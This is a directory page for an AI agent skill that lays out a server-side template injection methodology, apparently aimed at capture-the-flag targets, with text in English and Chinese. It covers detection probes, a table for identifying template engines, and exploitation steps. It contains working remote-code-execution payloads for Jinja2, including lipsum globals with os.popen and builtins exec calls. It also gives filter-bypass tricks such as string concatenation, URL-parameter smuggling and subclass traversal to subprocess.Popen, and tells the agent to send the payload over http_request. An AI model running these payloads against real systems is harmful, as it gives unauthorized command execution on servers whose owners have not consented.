SuperAPI AI Directory

ssti-methodology

Security & auditing

View repository

Updated 10-16 08:01

About this skill

SSTI Server-Side Template Injection Methodology

⛔ In-Depth References (must read the corresponding file after confirming the engine)


Phase 0: Injection Point Location (execute first!)

Do not blindly try SSTI payloads on all parameters! First locate which parameters get rendered by the template:

  1. Use analyze_response to observe which parameter valuesappear in the response
  2. Onlyparameters reflected to the pagecan be injection points
  3. Common reflected parameters:name, username, message, greeting, template, title, q, search

Pitfall: HTML-escaped reflection (< → &lt;) may still be rendered by the template—{{7*7}} may still take effect.

Phase 1: Detect Template Injection (Decision Tree)

Step 1: 发送 {{7*7}}
  → 返回 49 → 进入 Step 2
  → 原样返回 → 不是 Jinja2/Twig,进入 Step 3
  → 返回空/错误 → 可能有过滤,尝试 {{7*'7'}}

Step 2: 发送 {{7*'7'}}
  → 返回 7777777 → Jinja2 (Python) ★最常见
  → 返回 49 → Twig (PHP)

Step 3: 发送 ${7*7}
  → 返回 49 → Java EL / Mako / FreeMarker
Step 4: 发送 #{7*7}
  → 返回 49 → Ruby ERB 或 Pug

Phase 2: Engine Identification Auxiliary Table

Engine Language Server header clue Confirmation method
Jinja2 Python/Flask Werkzeug, gunicorn {{config}} has output
Django Python WSGIServer {{settings.DEBUG}}
Twig PHP Apache+PHP {{_self.env.display('id')}}
Mako Python - ${self.module.__builtins__}
FreeMarker Java Tomcat, Spring ${.now} returns the current time
Pug/Jade Node.js Express #{7*7} returns 49

Phase 3: Exploitation Decision Tree

确认引擎类型
├─ Jinja2?→ [references/jinja2-exploitation.md](references/jinja2-exploitation.md)
│   优先级:上下文变量 → config → 文件读取 → RCE(lipsum链)
├─ Twig?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Mako/FreeMarker/Pug?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
├─ Django?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)
│   无 RCE!优先级:上下文变量穷举 → request.META → settings → admin 路径发现
└─ 有过滤?→ [references/other-engines-and-bypass.md](references/other-engines-and-bypass.md)(过滤绕过部分)

Jinja2 Quick Reference(full payload → references/jinja2-exploitation.md):

{{lipsum.__globals__['os'].popen('id').read()}}       # RCE 首选
{{config}}                                              # 读配置

Notes

  • Simple before complex: context variables → config → file read → RCE
  • URL encoding: when injecting via GET parameters, {{ }} needs encoding
  • Error messages: 500 pages may leak the engine type and Python version

Phase 4: Advanced Exploitation Techniques

4.1 Subclass Traversal and Payload Construction

  • Use a for + enumerate loop to traverse the subclass list
  • Target class:os._wrap_close、subprocess.Popen
  • Conditional filtering:if 'popen' in str(cls) — string matching filter
  • Indexes differ across environments; dynamic lookup is needed rather than hardcoded indexes

4.2 Filter Bypass Techniques

  • External parameter passing:?a=__class__&b=__mro__, reference it in the template with request.args.a Quote
  • Filtering only checks template content, not URL parameters
  • Split the payload: separate the injection point from the data point
  • When keywords are filtered, reach the builtins module via globals.__self__ and bypass using string concatenation:
    {{ globals.__self__.exec("imp" + "ort o" + "s;o" + "s.system('cat /flag')") }}
    {{ request.__class__.__init__.__globals__.__builtins__.exec("__imp"+"ort__('o'+'s').system('id')") }}
    

4.3 Exploitation Order

  • Highest priority: try the simple ones first, direct variable access ({{config}})
  • Order: confirm before exploiting, identify the engine before choosing a payload
  • Finally: send the RCE payload via http_request to obtain the flag